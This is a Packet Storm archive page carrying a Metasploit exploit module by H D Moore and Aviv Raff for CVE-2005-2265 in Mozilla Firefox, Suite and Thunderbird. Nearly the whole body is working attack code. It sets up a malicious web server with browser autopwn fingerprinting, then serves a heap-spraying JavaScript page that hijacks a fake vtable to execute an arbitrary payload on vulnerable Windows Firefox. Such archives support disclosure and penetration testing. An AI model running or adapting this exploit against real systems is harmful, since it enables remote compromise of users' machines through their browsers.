what you don't know can hurt you

Mozilla Firefox Code Execution

Mozilla Firefox Code Execution
Posted Oct 27, 2009
Authored by H D Moore, Aviv Raff | Site metasploit.com

This Metasploit module exploits a code execution vulnerability in the Mozilla Suite, Mozilla Firefox, and Mozilla Thunderbird applications. This exploit module is a direct port of Aviv Raff's HTML PoC.

tags | exploit, code execution
advisories | CVE-2005-2265
MD5 | 4d11bb8de765d259995301791ec60b38

Mozilla Firefox Code Execution

Change Mirror Download
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

#
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::FF,
:ua_ver => "1.0",
:os_name => OperatingSystems::WINDOWS,
:javascript => true,
:rank => NormalRanking, # reliable memory corruption
:vuln_test => "if (typeof InstallVersion != 'undefined') { is_vuln = true; }",
})

def initialize(info = {})
super(update_info(info,
'Name' => 'Mozilla Suite/Firefox InstallVersion->compareTo() Code Execution',
'Description' => %q{
This module exploits a code execution vulnerability in the Mozilla
Suite, Mozilla Firefox, and Mozilla Thunderbird applications. This exploit
module is a direct port of Aviv Raff's HTML PoC.

},
'License' => MSF_LICENSE,
'Author' => ['hdm', 'Aviv Raff <avivra [at] gmail.com>'],
'Version' => '$Revision$',
'References' =>
[
['CVE', '2005-2265'],
['OSVDB', '17968'],
['BID', '14242'],
['URL', 'http://www.mozilla.org/security/announce/mfsa2005-50.html'],
],
'Payload' =>
{
'Space' => 400,
'BadChars' => "\x00",
},
'Targets' =>
[
[ 'Firefox < 1.0.5 Windows',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
'StackAdjustment' => -3500,
'Addrs' => [ 0x12000000, 0x11C0002C, 0x1200002C, 0x1180002C ],

}
],
],
'DisclosureDate' => 'Jul 13 2005'
))
end

def on_request_uri(cli, request)

# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)

print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })

# Handle the payload
handler(cli)
end

def generate_html(payload)

enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
enc_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch))

spray_to = sprintf("0x%.8x", target['Addrs'][0])
spray_slide1 = Rex::Text.to_unescape( [target['Addrs'][1]].pack('V'), Rex::Arch.endian(target.arch) )
spray_slide2 = Rex::Text.to_unescape( [target['Addrs'][2]].pack('V'), Rex::Arch.endian(target.arch) )
eax_address = sprintf("0x%.8x", target['Addrs'][3])

return %Q|
<html>
<head>
<!--
Copyright (C) 2005-2006 Aviv Raff (with minor modifications by HDM for the MSF module)
From: http://aviv.raffon.net/2005/12/11/MozillaUnderestimateVulnerabilityYetAgainPlusOldVulnerabilityNewExploit.aspx
Greets: SkyLined, The Insider and shutdown
-->
<title>One second please...</title>
<script language="javascript">

function BodyOnLoad()
{
location.href="javascript:void (new InstallVersion());";
CrashAndBurn();
};

// The "Heap Spraying" is based on SkyLined InternetExploiter2 methodology
function CrashAndBurn()
{
// Spray up to this address
var heapSprayToAddress=#{spray_to};

// Payload - Just return..
var payLoadCode=unescape("#{enc_code}");

// Size of the heap blocks
var heapBlockSize=0x400000;

// Size of the payload in bytes
var payLoadSize=payLoadCode.length * 2;

// Caluclate spray slides size
var spraySlideSize=heapBlockSize-(payLoadSize+0x38); // exclude header

// Set first spray slide ("pdata") with "pvtbl" fake address - 0x11C0002C
var spraySlide1 = unescape("#{spray_slide1}");

spraySlide1 = getSpraySlide(spraySlide1,spraySlideSize);

var spraySlide2 = unescape("#{spray_slide2}"); //0x1200002C

spraySlide2 = getSpraySlide(spraySlide2,spraySlideSize);

var spraySlide3 = unescape("#{enc_nops}");
spraySlide3 = getSpraySlide(spraySlide3,spraySlideSize);

// Spray the heap
heapBlocks=(heapSprayToAddress-0x400000)/heapBlockSize;
//alert(spraySlide2.length); return;
memory = new Array();
for (i=0;i<heapBlocks;i++)
{
memory[i]=(i\%3==0) ? spraySlide1 + payLoadCode:
(i\%3==1) ? spraySlide2 + payLoadCode: spraySlide3 + payLoadCode;
}

// Set address to fake "pdata".
var eaxAddress = #{eax_address};

// This was taken from shutdown's PoC in bugzilla
// struct vtbl { void (*code)(void); };
// struct data { struct vtbl *pvtbl; };
//
// struct data *pdata = (struct data *)(xxAddress & ~0x01);
// pdata->pvtbl->code(pdata);
//
(new InstallVersion).compareTo(new Number(eaxAddress >> 1));
}

function getSpraySlide(spraySlide, spraySlideSize) {
while (spraySlide.length*2<spraySlideSize)
{
spraySlide+=spraySlide;
}
spraySlide=spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}

// -->
</script>
</head>
<body onload="BodyOnLoad()">
</body>
</html>
|
end

end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

September 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    1 Files
  • 2
    Sep 2nd
    38 Files
  • 3
    Sep 3rd
    30 Files
  • 4
    Sep 4th
    15 Files
  • 5
    Sep 5th
    12 Files
  • 6
    Sep 6th
    17 Files
  • 7
    Sep 7th
    3 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    24 Files
  • 10
    Sep 10th
    22 Files
  • 11
    Sep 11th
    22 Files
  • 12
    Sep 12th
    15 Files
  • 13
    Sep 13th
    5 Files
  • 14
    Sep 14th
    2 Files
  • 15
    Sep 15th
    1 Files
  • 16
    Sep 16th
    11 Files
  • 17
    Sep 17th
    14 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close